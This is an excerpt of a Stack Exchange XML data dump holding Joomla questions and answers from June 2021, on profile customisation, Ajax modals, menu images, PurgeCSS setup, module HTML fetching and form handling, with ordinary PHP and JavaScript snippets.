  <row Id="30260" PostTypeId="2" ParentId="30258" CreationDate="2021-06-11T02:09:52.630" Score="1" Body="&lt;p&gt;I would suggest that you contact the creators of Easy Profile Pro and ask them if they are able to create similar functionality as provided in the products that you mention. They may be in the best position, as it is likely their code will need to be modified, if you decide to pay someone to write the code to provide the functionality.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I need to add the function to view the visitors of my profile.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It is not clear from that statement whether you want to be able to display to registered users looking at other users profiles like in the Social extensions that you mention or if you're meaning who is viewing just your profile. Or are you wanting to record who is visiting your site and looking at your profile page which is something different again.&lt;/p&gt;&#xA;&lt;p&gt;If you want more specific help you will need to expand your question to provide more detail about what problem you are trying to solve.&lt;/p&gt;&#xA;&lt;p&gt;A look through the JED shows a couple of add-on extensions that provide that capability in the Social extensions that you could contact and ask their authors if they could be adapted/copied to work with Easy Profile. Otherwise you need to look for alternative profile manager extensions for one that has the capability or feature that you want, however I didn't see one.&lt;/p&gt;&#xA;&lt;p&gt;Although your requirement might seem simple, 'Display who looked at my profile', the basics steps to achieve that in programming regardless of the existing extension(s) that you have would be.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find the piece(s) of code used to display a profile, intercept that code to capture the details of the user that is viewing the profile. If they are just a visitor, not logged in, to your site you might not get much more information that their IP address and the browser they used.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to build somewhere to store the details of the the profile viewed and who viewed it. This would probably be a new table in the Joomla data base with programming code to save the details and retrieve the details and some way to manage(read delete older records) the details in the table which might be more programming of an interface in the Admin section of your site.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And finally to display the details you have saved in the database, you need to code how you want them displayed, where you want them displayed(front end, back end, in Easy Profile) and what details you want displayed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-06-11T02:09:52.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30261" PostTypeId="1" CreationDate="2021-06-11T20:20:21.287" Score="0" ViewCount="147" Body="&lt;p&gt;I have a Joomla 3.9.26 site with CB 2.6.0 installed.&lt;/p&gt;&#xA;&lt;p&gt;I need to make some little update on the User Profile page.&lt;/p&gt;&#xA;&lt;p&gt;This is the url of the page:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_comprofiler&amp;amp;task=userProfile&amp;amp;user=1382&amp;amp;Itemid=166&amp;amp;stp=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or also&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_comprofiler&amp;amp;task=userProfile&amp;amp;user=1382&amp;amp;Itemid=166&amp;amp;stp=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which php file do I have to edit?&#xA;Consider also that the changes to the layout are based on the &amp;quot;stp&amp;quot; parameter in the query string. So how can I get its value inside the layout template?&lt;/p&gt;&#xA;" OwnerUserId="13624" LastEditorUserId="12352" LastEditDate="2021-06-11T20:48:04.010" LastActivityDate="2023-07-02T15:05:10.603" Title="How to make an adjustment on User Profile page in Community Builder" Tags="|template-override|view|layout|community-builder|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30262" PostTypeId="2" ParentId="30261" CreationDate="2021-06-12T10:36:29.300" Score="1" Body="&lt;p&gt;I don't use Community Builder myself so I can only give you some general tips.&lt;/p&gt;&#xA;&lt;p&gt;What you could do to find the right page to edit:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a backup of your site (e.g. using Akeeba Backup) with files + database&lt;/li&gt;&#xA;&lt;li&gt;install that backup on your local computer (e.g. using XAMPP or something similar as web environment)&lt;/li&gt;&#xA;&lt;li&gt;visit your website in your browser and go to the page that you want to change&lt;/li&gt;&#xA;&lt;li&gt;in your browser look at the HTML of that page and determine a part (HTML tags) that is unique for the page (e.g. &lt;code&gt;&amp;lt;span id=&amp;quot;user-profile&amp;quot;&amp;gt;&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;use an IDE (like PHPStorm, Eclipse, Netbeans, Visual Studio or something similar) that has good code search functionality&lt;/li&gt;&#xA;&lt;li&gt;use your IDE to search your local site for that unique text. Check the found files for that code.&lt;/li&gt;&#xA;&lt;li&gt;Make a small temporary (change it back to original later!) change in the file and check in your browser if you see that change on the page. If so, you have identified the file to edit.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;General tips:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;don't change the component files. Core hacks can get lost with updates. Instead create template overrides (if the component supports it) &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;create an SQL export of your site. Put that SQL file in the root of your local site. If you are looking for something that is not in the files, it might be in the database. Never put that SQL dump on your server.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-06-12T10:36:29.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30264" PostTypeId="2" ParentId="29250" CreationDate="2021-06-16T15:13:52.577" Score="1" Body="&lt;p&gt;I think that you could do this using a modal window, but it will be rather involved.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla MVC tutorial step &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_Modal&quot; rel=&quot;nofollow noreferrer&quot;&gt;adding a modal&lt;/a&gt; and associated video will provide some background help, but it&#xA;will need to be adapted a fair bit.&lt;/p&gt;&#xA;&lt;p&gt;Referring to the code in that tutorial step, these are the main things I think you'd need to change.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your button which results in the subcontroller being called could be replaced by the modal custom field definition&#xA;of the tutorial step.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You'd have a field element for it in the XML definition of your form. As you have multiple components using the print&#xA;facility you'd want to have some way of telling the field &lt;code&gt;get_input()&lt;/code&gt; code which component it was and something&#xA;like the way the code uses &lt;code&gt;$this-&amp;gt;id&lt;/code&gt; to get the &lt;code&gt;name&lt;/code&gt; parameter of the field in the XML file would be possible.&#xA;(ie set the &lt;code&gt;name&lt;/code&gt; parameter different in the XML field for the different components).&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Within the html which &lt;code&gt;get_input()&lt;/code&gt; produces you'd have to put the javascript code which would make an Ajax call to the&#xA;server, to the appropriate component, passing up the parameters and receiving the processed data. You'd need to write that server code which handles the Ajax request.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This would then replace your current POST to your subcontroller, and instead of the print controller being invoked via the plugin redirect, your &lt;code&gt;$data&lt;/code&gt; would just be passed back down in the Ajax response.&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;The printer component would run within an iframe in the modal window, which you'd set as the &lt;code&gt;src&lt;/code&gt; attribute of the&#xA;iframe. You'd need to pass the &lt;code&gt;$data&lt;/code&gt; to it as a parameter in the HTTP GET request to the print component's URL.&#xA;You'd also want to use the &lt;code&gt;&amp;amp;tmpl=component&lt;/code&gt; option within the iframe URL so that the usual Joomla menu etc isn't displayed&#xA;within the iframe.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The trickiest bit I think will be injecting the js code which makes the Ajax request into the mechanism which&#xA;joomla/bootstrap uses to display the modal.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The tutorial code follows the joomla norm of calling &lt;code&gt;bootstrap.renderModal()&lt;/code&gt; to set up the html and js for displaying the modal. This is in libraries/cms/html/bootstrap.php, and it makes use of the joomla layout in layouts/joomla/modal/main.php.&lt;/p&gt;&#xA;&lt;p&gt;You'd need to replace that code to include your js to do the ajax request.&lt;/p&gt;&#xA;&lt;p&gt;An alternative (which may be easier) is to have a second hidden button which displays the modal (as described in the tutorial and using bootstrap.renderModal), with its &lt;code&gt;src&lt;/code&gt; attribute set to the URL of the print component.&lt;/p&gt;&#xA;&lt;p&gt;Then your real button runs your js code to do the ajax request, and once it has received the &lt;code&gt;$data&lt;/code&gt; back it changes the &lt;code&gt;src&lt;/code&gt; parameter to include the &lt;code&gt;$data&lt;/code&gt; in the URL, and then clicks the button to show the modal.&lt;/p&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;The modal can be 'closed' just as described in the tutorial, and you don't really need to pass anything back to the main window.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;All in all, a fair amount of rework however :-(.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2021-06-16T15:13:52.577" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30265" PostTypeId="1" CreationDate="2021-06-16T16:14:40.980" Score="0" ViewCount="84" Body="&lt;p&gt;Joomla menu image is not displaying on website. I believe I have it configured correctly but is not displaying.&lt;/p&gt;&#xA;&lt;p&gt;Here is my configuration:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dxbmg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dxbmg.png&quot; alt=&quot;Config&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is what is displayed on the website:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DIP9S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DIP9S.png&quot; alt=&quot;Menu&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is what I'm trying to make my menu look like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AvEsa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AvEsa.png&quot; alt=&quot;Example&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The file path exists and I can see the image in the media tab in Joomla and CPanel.&lt;/p&gt;&#xA;&lt;p&gt;The path is &lt;code&gt;/images/Visual-Studio-Logo.png&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When I inspect the element of the menu button, there is no mention of the image.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&amp;quot;item&amp;quot; href=&amp;quot;insert link here&amp;quot;&amp;gt;Visual Studio &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My SE account is fully verified, what mightve happened is I made this post on a guest account then verified it after.&lt;/p&gt;&#xA;&lt;p&gt;Yes I see the difference between the 2 names that was a typo as I've just confirmed they are matching.&lt;/p&gt;&#xA;" OwnerUserId="15423" LastEditorUserId="15424" LastEditDate="2021-06-18T01:51:51.123" LastActivityDate="2021-06-18T01:51:51.123" Title="Joomla Menu image not displaying" Tags="|joomla-3.x|menu|menu-parameters|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="30266" PostTypeId="1" CreationDate="2021-06-16T21:56:11.453" Score="1" ViewCount="70" Body="&lt;p&gt;Is there a &lt;a href=&quot;https://purgecss.com/configuration.html#options&quot; rel=&quot;nofollow noreferrer&quot;&gt;PurgeCSS&lt;/a&gt; guide to setting up with a Joomla! Template. WP has &lt;a href=&quot;https://github.com/FullHuman/purgecss/tree/master/packages&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt;. My problem  is I can't get it to read all the pages in the site.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What should I put in &lt;code&gt;content: [],&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now - I want it to read through my site's pages including level 3 subs:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/work/example&lt;/li&gt;&#xA;&lt;li&gt;/blog/article1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Specifying '/work/' doesn't produce any results. It seems to only work with relative paths - but doesn't go deep enough: '../**/*.php'&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;My Setup:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The config.js file is set up in my /templates/dir/ folder.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;pre&gt;&lt;code&gt;module.exports = {&#xA;    content: ['../../../**/*.php','../../../../**/*.php','../js/*.js',],&#xA;    safelist: {&#xA;        standard: ['g1-bkg', 'is-visible', 'flex@xs', 'white'],&#xA;        deep: [/mega-nav/, /js/],&#xA;    },&#xA;    defaultExtractor: content =&amp;gt; content.match(/[\w-/:%@]+(?&amp;lt;!:)/g) || []&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm using &lt;a href=&quot;https://prepros.io/help/custom-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;prepros&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="3485" LastEditDate="2021-06-17T05:10:16.740" LastActivityDate="2021-06-17T05:10:16.740" Title="Reading your site's content with PURGECSS Joomla Template" Tags="|extensions|css|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30270" PostTypeId="1" CreationDate="2021-06-18T08:40:24.903" Score="0" ViewCount="181" Body="&lt;p&gt;I need to get the html code from the joomla internal link, and transfer the code to the module&lt;/p&gt;&#xA;&lt;p&gt;My code&#xA;&lt;strong&gt;default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;container&amp;quot; id=&amp;quot;expandAjaxReq-root&amp;quot; class=&amp;quot;&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;row&amp;quot; id=&amp;quot;expandAjaxReq-row-button&amp;quot;&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;col-md-12&amp;quot;&amp;gt;&amp;lt;button class=&amp;quot;btn&amp;quot; id=&amp;quot;btnExpaneAjaxReq&amp;quot; type=&amp;quot;button&amp;quot; onclick=&amp;quot;btnExpaneAjaxReqClick();&amp;quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $params-&amp;gt;get('btntext') ; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;i class=&amp;quot;fas fa-chevron-down&amp;quot; style=&amp;quot;margin-left: 10px;&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/button&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;row&amp;quot; id=&amp;quot;expandAjaxReq-row-content&amp;quot;&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;col-md-12&amp;quot; id=&amp;quot;expandAjaxReq-col-content&amp;quot;&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;d-flex overflow-auto&amp;quot; id=&amp;quot;expandAjaxReq-content&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;class modExpandAjaxReqHelper&#xA;{&#xA;    public  static function getRequestAjax() {&#xA;        jimport( 'joomla.application.module.helper' );&#xA;        $module = JModuleHelper::getModule('mod_expandajaxreq');&#xA;        $params = new JRegistry($module-&amp;gt;params);&#xA;        $url     = $params-&amp;gt;get('request_url');&#xA;        $html = file_get_contents('http://127.0.0.1/'. $url.'&amp;amp;tmpl=component'));&#xA;        return $html;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;expandAjaxReq.js&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function btnExpaneAjaxReqClick() {&#xA;    if (jQuery(&amp;quot;#btnExpaneAjaxReq&amp;gt;i&amp;quot;).hasClass( &amp;quot;fa-chevron-down&amp;quot; ))&#xA;    {&#xA;        jQuery(&amp;quot;#btnExpaneAjaxReq&amp;gt;i&amp;quot;).removeClass( &amp;quot;fa-chevron-down&amp;quot; );&#xA;        jQuery(&amp;quot;#btnExpaneAjaxReq&amp;gt;i&amp;quot;).addClass( &amp;quot;fa-chevron-up&amp;quot; )&#xA;        jQuery.ajax({&#xA;            url: 'index.php?option=com_ajax&amp;amp;module=expandajaxreq&amp;amp;method=getRequest&amp;amp;format=raw',&#xA;            type: 'POST',&#xA;            success:function(responce){&#xA;                jQuery(&amp;quot;#expandAjaxReq-content&amp;quot;).html(responce);                &#xA;            },&#xA;            error:function(responce){&#xA;                jQuery(&amp;quot;#expandAjaxReq-content&amp;quot;).html(responce.responseText);&#xA;            }&#xA;        });         &#xA;    }&#xA;    else {&#xA;        jQuery(&amp;quot;#btnExpaneAjaxReq&amp;gt;i&amp;quot;).removeClass( &amp;quot;fa-chevron-up&amp;quot; );&#xA;        jQuery(&amp;quot;#btnExpaneAjaxReq&amp;gt;i&amp;quot;).addClass( &amp;quot;fa-chevron-down&amp;quot; )&#xA;        jQuery(&amp;quot;#expandAjaxReq-content&amp;quot;).html(&amp;quot;&amp;quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How to read the hpml code correctly  &lt;strong&gt;$html = file_get_contents('http://127.0.0.1/'. $url.'&amp;amp;tmpl=component'));&lt;/strong&gt; ?&#xA;How to get the root link of my site - &lt;strong&gt;http(s)://127.0.0.1/&lt;/strong&gt; ?&#xA;Thank you so much&lt;/p&gt;&#xA;" OwnerUserId="14793" LastActivityDate="2021-06-18T11:50:24.073" Title="Get html code from an internal link in a module" Tags="|module|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30271" PostTypeId="2" ParentId="30270" CreationDate="2021-06-18T11:50:24.073" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;How to get the root link of my site&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Uri\Uri::base();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This prepend the scheme, host and port information&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;But your solution is not good!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You are making a http request to the server 2 times - this is not optimal!!!&#xA;Making request from the php may work incorrectly if the link is closed from unauthorized users, or answer include information related by current user.&lt;/p&gt;&#xA;&lt;p&gt;If you publish a module on the page more than once, then you need to separate requests based on the module ID&lt;/p&gt;&#xA;&lt;p&gt;This code does not take into account the presence of a GET-parametrs and host in the $request_url&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$html = file_get_contents('http://127.0.0.1/'. $url.'&amp;amp;tmpl=component'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A request with the tmpl = component parameter will return the page with the html and head tags&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;A more correct way&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Build coorect request url in your module&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Parse url from module params&#xA;$uri = new \Joomla\CMS\Uri\Uri($url);&#xA;&#xA;// Add var tmpl&#xA;$uri-&amp;gt;setVar('tmpl', 'component');&#xA;&#xA;// Build correct query&#xA;$request_url = $uri-&amp;gt;toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Set request url into joomla javascript options&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Include core.js&#xA;JHtmlBehavior::core();&#xA;&#xA;// Put option with curent module id&#xA;(Joomla\CMS\Document\Document::getInstance())-&amp;gt;addScriptOptions('mod_mymodulename.'.$module-&amp;gt;id.'.request_url', $request_url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Pass a module id as a parameter in a button and add module id into id of button&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;col-md-12&amp;quot;&amp;gt;&amp;lt;button class=&amp;quot;btn&amp;quot; id=&amp;quot;btnExpaneAjaxReq&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&amp;quot; type=&amp;quot;button&amp;quot; onclick=&amp;quot;btnExpaneAjaxReqClick(&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;);&amp;quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $params-&amp;gt;get('btntext') ; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;i class=&amp;quot;fas fa-chevron-down&amp;quot; style=&amp;quot;margin-left: 10px;&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/button&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and set id for target container&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;d-flex overflow-auto&amp;quot; id=&amp;quot;expandAjaxReq&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;-content&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Write javascript for get request_url from Joomla.options and parse response&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;function btnExpaneAjaxReqClick(module_id) {&#xA;    if(!module_id) return;&#xA;&#xA;    var module_btn = jQuery(&amp;quot;#btnExpaneAjaxReq&amp;quot;+module_id+&amp;quot;&amp;gt;i&amp;quot;);&#xA;&#xA;    if(!module_btn) return;&#xA;    &#xA;    var module_content = jQuery(&amp;quot;#btnExpaneAjaxReq&amp;quot;+module_id+&amp;quot;-content&amp;quot;);&#xA;    &#xA;    if(!module_content) return;&#xA;&#xA;    var module_options = Joomla.getOptions('mod_mymodulename');&#xA;&#xA;    if(!module_options[module_id]['request_url']) return;&#xA;&#xA;&#xA;    if (module_btn.hasClass( &amp;quot;fa-chevron-down&amp;quot; ))&#xA;    {&#xA;        module_btn.removeClass( &amp;quot;fa-chevron-down&amp;quot; );&#xA;        module_btn.addClass( &amp;quot;fa-chevron-up&amp;quot; )&#xA;        jQuery.ajax({&#xA;            url: module_options[module_id]['request_url'],&#xA;            type: 'GET',&#xA;            success:function(responce){&#xA;                module_content.html(responce.match(/&amp;lt;body.*?&amp;gt;(.|\s)+&amp;lt;\/body&amp;gt;/)[0]);&#xA;            },&#xA;            error:function(responce){&#xA;                module_content.html(responce.responseText);&#xA;            }&#xA;        });&#xA;    }&#xA;    else {&#xA;        module_btn.removeClass( &amp;quot;fa-chevron-up&amp;quot; );&#xA;        module_btn.addClass( &amp;quot;fa-chevron-down&amp;quot; )&#xA;        module_content.html(&amp;quot;&amp;quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11319" LastActivityDate="2021-06-18T11:50:24.073" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30272" PostTypeId="1" AcceptedAnswerId="30274" CreationDate="2021-06-18T17:21:31.747" Score="0" ViewCount="54" Body="&lt;p&gt;I'm making my first Joomla website and I'm here to ask you this question: since every article will have to have the same format, is there a way to save it, so I don't have to remake it everytime I write a new article?&lt;/p&gt;&#xA;" OwnerUserId="15413" LastActivityDate="2021-06-20T10:20:39.230" Title="Is it possible to save the format of the article?" Tags="|joomla-3.x|helix3|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30273" PostTypeId="1" CreationDate="2021-06-19T07:34:13.160" Score="0" ViewCount="264" Body="&lt;p&gt;hello i created a form in front via a plugin&#xA;in my tmpl i create a file value_form.php (compatible with the component)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&amp;quot;contact-form-'.$formid.'&amp;quot; method=&amp;quot;POST&amp;quot; class=&amp;quot;form-validate&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        '.$titleformD.'&#xA;        '.$fields_display.'&#xA;        '.$consent_field.'&#xA;        '.$captcha_html.'&#xA;    &amp;lt;div class=&amp;quot;form-group control-group submit-button&amp;quot;&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;'.JText::_('FLEXI_FIELD_EMAIL_SUBMIT_LABEL_VALUE').'&amp;quot; class=&amp;quot;'.$submit_class.'&amp;quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;emailtask&amp;quot; value=&amp;quot;plg.email.submit&amp;quot; /&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;formid&amp;quot; value=&amp;quot;'.$formid.'&amp;quot; /&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;emailauthor&amp;quot; value=&amp;quot;'.$addr.'&amp;quot; /&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;itemid&amp;quot; value=&amp;quot;'.$item-&amp;gt;id.'&amp;quot; /&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;itemtitle&amp;quot; value=&amp;quot;'.$item-&amp;gt;title.'&amp;quot; /&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;itemalias&amp;quot; value=&amp;quot;'.$item-&amp;gt;alias.'&amp;quot; /&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;itemauthor&amp;quot; value=&amp;quot;'.$item-&amp;gt;author.'&amp;quot; /&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;catid&amp;quot; value=&amp;quot;'.$item-&amp;gt;catid.'&amp;quot; /&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;return&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&#xA;    '.JHtml::_(&amp;quot;form.token&amp;quot;).'&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and i need to get the value in my 'helper' email.php&#xA;i do this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$id = $jinput-&amp;gt;post-&amp;gt;get('formid', '', '');&#xA;$datas = $jinput-&amp;gt;post-&amp;gt;get($id, array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and to get value&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$fromemail = $datas['emailfrom'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but this value is already empty i have value of my form if field aren't hidden type ....&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oCnLu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oCnLu.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a98Os.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a98Os.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="11362" LastActivityDate="2021-06-21T07:42:10.183" Title="get value of hidden field via Jinput" Tags="|jform|jinput|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
